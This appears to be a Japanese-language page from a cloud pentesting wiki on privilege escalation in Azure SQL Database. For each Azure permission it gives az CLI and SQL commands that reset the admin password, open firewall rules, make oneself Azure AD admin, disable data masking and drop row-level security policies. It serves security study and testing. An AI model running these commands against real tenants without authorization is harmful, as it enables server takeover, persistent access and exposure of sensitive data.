# Az - SQL Database Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Privesc

SQL Databaseに関する詳細情報は、以下を確認してください:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`

これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはSQLサーバー管理者のパスワードを含むサーバーのプロパティを更新でき、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を利用して制限のないアクセスを得ることができるため、これは特に重要です。
```bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
```
パブリックアクセスを有効にする必要があります。非プライベートエンドポイントからアクセスする場合は、これを有効にするには:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
さらに、権限を使用して、割り当てられた ID を有効にし、サーバーに添付された管理 ID で操作できます。たとえば、ここでは Azure Storage にアクセスできる管理 ID を使用しています：
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
```

```sql 
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
```
### `Microsoft.Sql/servers/firewallRules/write`

攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲（パブリック IP を含む）に対してサーバーを開放し、悪意のあるアクターのアクセスを可能にします。このポストエクスプロイテーション活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、敏感なリソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。
```bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
さらに、`Microsoft.Sql/servers/outboundFirewallRules/delete` 権限を持つことで、ファイアウォールルールを削除できます。  
注意: 公共アクセスを有効にする必要があります。

### `Microsoft.Sql/servers/ipv6FirewallRules/write`

この権限を使用すると、Azure SQL Server上でIPv6ファイアウォールルールを作成、変更、または削除できます。これにより、攻撃者や認可されたユーザーが既存のネットワークセキュリティ構成を回避し、サーバーへの不正アクセスを得る可能性があります。任意のIPv6アドレスからのトラフィックを許可するルールを追加することで、攻撃者はサーバーを外部アクセスに対して開放することができます。
```bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
さらに、`Microsoft.Sql/servers/ipv6FirewallRules/delete` 権限を使用すると、ファイアウォールルールを削除できます。  
注意：パブリックアクセスを有効にする必要があります。

### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`

これらの権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用することで、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。「Microsoft Entra Authentication Only」が有効になっている場合、サーバーとそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです：
```bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`

これらの権限を使用すると、Azure SQL Serverで「Microsoft Entra Authentication Only」を構成および強制することができ、特定のシナリオで特権昇格を促進する可能性があります。攻撃者またはこれらの権限を持つ認可されたユーザーは、Azure AD専用認証を有効または無効にすることができます。
```bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
```
### Microsoft.Sql/servers/databases/dataMaskingPolicies/write
SQLデータベースのデータマスキングポリシーを変更（または無効化）します。
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
```
### Row Level Securityの削除
adminとしてログインしている場合、admin自身および他のユーザーのポリシーを削除できます。
```sql
DROP SECURITY POLICY [Name_of_policy];
```
{{#include ../../../banners/hacktricks-training.md}}
